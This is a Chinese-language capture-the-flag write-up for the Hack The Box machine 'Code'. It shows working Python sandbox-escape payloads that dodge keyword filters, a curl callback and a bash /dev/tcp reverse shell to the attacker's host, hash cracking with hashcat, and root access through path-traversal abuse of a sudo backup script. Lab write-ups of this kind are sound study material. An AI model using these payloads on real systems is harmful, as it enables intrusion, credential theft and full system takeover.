【Hack The Box】Code Write Up

前言

这台靶机已经有大佬写过Write Up了,这里主要介绍一下我的不同思路,以供大家参考。

信息收集

Nmap

bash 复制代码
nmap -A 10.10.11.62

发现开放了5000端口,看样子应该是一个HTTP服务。

获得立足点

访问10.10.11.62:8000。

发现是一个在线执行Python代码的平台。

发现有注册功能。

先注册一个账号,登录上去看看。

结果和未登录状态差不多。

发现一个可以保存代码的功能,但是测试了一下也没有发现任何可以利用的点。

发现加载保存代码的id似乎是顺序增加的,尝试越权,并没有获得任何有用的信息。

查看帮助信息,但是并没有发现任何使用框架的信息。

查看HTTP报文,看到代码是在服务端执行的,想到可以执行恶意代码获取shell。

不出所料,果然是有关键字过滤的。

绕它!

首先,可以参考这篇文章的第5节(整篇文章都很优秀,强烈建议全篇阅读!),使用getattr函数绕过对诸如systemexec等函数的关键词过滤。

并且,测试发现getattr关键字并没有被过滤。

然而解决了一个问题,又遇到一个新的问题。靶机不仅过滤了敏感函数,还过滤了import关键字。没有import就没办法使用getattr函数绕过了,吗?

其实也未必。我们可以参考这个文章里面的思路,使用__globals__属性加载需要的函数而不用显式导入,这样就绕过了对import关键字的过滤。不过文中给出的payload只能用于Python 2环境。

实际上,我们可以参考这篇文章。文章虽然主要是讲Flask jinja2模板注入,但是对如何在Python 3中使用__globals__属性加载需要的函数作了详细的说明。

参考文章中的思路,制作Payload。注意,这里的受到文章中的思路启发,发现并不需要使用getattr函数,而是利用Python脚本语言的特点,即在对象后添加括号就可将对象作为函数执行。另外,使用字符串拼接的方式绕过关键词过滤。

至于"_Unframer"的选择,可以使用这篇文章中的一个筛选脚本。在本地筛选出可以执行exec等函数的子类,然后在靶机执行print([].__class__.__base__.__subclasses__()),两者结果对比即可选择合适的子类。

python 复制代码
for c in [].__class__.__base__.__subclasses__():
    if c.__name__=='_Unframer':
        print(c.__init__.__globals__['__bui'+'ltins__'].get('ex'+'ec')("__imp"+"ort__('o'+'s').sy"+"stem('ls')"))

执行Payload,返回结果是None。难道没有执行成功?又去检查了一波Payload,在本地复现了一下,发现确实是可以执行的。

这时候突然想到,可能是因为没有回显。

既然想到了原因,修改一下Payload。借鉴DNS信息外带的思路,设立一个可以远程访问的端点即可。

python 复制代码
for c in [].__class__.__base__.__subclasses__():
    if c.__name__=='_ModuleLock':
        print(c.__init__.__globals__['__bui'+'ltins__'].get('ex'+'ec')("__imp"+"ort__('o'+'s').sy"+"stem('curl http://10.10.16.28:8000')"))

先在本地启动一个web服务。

bash 复制代码
python3 -m http.server 8000

执行修改后的Payload。

可以看到,有访问请求被记录到,说明Payload被成功执行。

再次修改Payload。

python 复制代码
for c in [].__class__.__base__.__subclasses__():
    if c.__name__=='_ModuleLock':
        print(c.__init__.__globals__['__bui'+'ltins__'].get('ex'+'ec')("__imp"+"ort__('o'+'s').sy"+"stem('bash -c \"bash -i >& /dev/tcp/10.10.16.28/2333 0>&1\"')"))

先在本地启动nc监听。

bash 复制代码
nc -lvvp 2333

执行修改后的Payload。

可以看到,已经成功获得了shell。

发现User Flag。

查看User Flag。

提权

root

先看一下在当前权限下有没有敏感的文件。

发现了一个sqlite的数据库文件。

下载下来,用sqlitebrowser打开。(下载方法可以看这篇

发现用户martin密码的哈希值。

用hashcat解哈希。

bash 复制代码
hashcat -a 0 -m 0 3de6************************74be rockyou.txt

解出密码。

使用密码登录用户martin。

尝试其他提权方式无果,不再赘述。

查看可以使用sudo执行的命令。

bash 复制代码
sudo -l

用户可以使用sudo权限执行backy.sh这个脚本。

看下脚本的权限配置。

可以看到,非属主用户不能修改脚本,因此不能直接添加获得shell的命令。

看下脚本的内容。其中代码限制了备份的路径只能在/var或/home目录下。

shell 复制代码
# 省略一万字
allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

# 省略一万字

但是这个过滤只是单纯替换"../"为空字符,只需要简单的双写即可绕过。

刚好在backups目录下发现了task.json,修改一下,看看是否能绕过目录的限制,备份出root目录下的内容。

json 复制代码
{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/....//....//....//root"
        ],

        "exclude": [
                ".*"
        ]
}

执行脚本。

bash 复制代码
sudo /usr/bin/backy.sh backups/task.json

发现备份出来的内容居然是空的!

难道我的绕过方式不对?

尝试用软连接的方式绕过路径限制,结果并不行。

只能又回到双写绕过的方式。

仔细研究task.json,发现其中有一个键名为"exclude"的字段很可疑。它的值是".*",如果是按照正则去匹配的话,应该会匹配所有文件名。备份的内容不包括所有文件,那备份出来的内容不就是空了吗?

这个结论似乎能解释之前的现象。

把task.json的内容改一下,去除".*"的匹配模式。

json 复制代码
{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/....//....//....//root"
        ],

        "exclude": []
}

执行脚本,备份文件。

把备份的文件下载到本地解压。

成功拿到root目录下的内容。

其实到这就已经可以拿到Root Flag了,但是鉴于作者很好心的给了id_rsa文件,决定登上去拿个shell。

bash 复制代码
ssh -i id_rsa root@10.10.11.62

查看Root Flag。

后记

这个靶机主要难点在于如何绕过关键字限制并做到Python沙箱逃逸,在这个过程中学到了很多相关的知识。提权方面相对简单,只需要注意一些细节就可以提权成功。

相关推荐
用户962377954481 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954482 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star2 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954482 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行6 天前
网络安全总结
安全·web安全
red1giant_star6 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透6 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全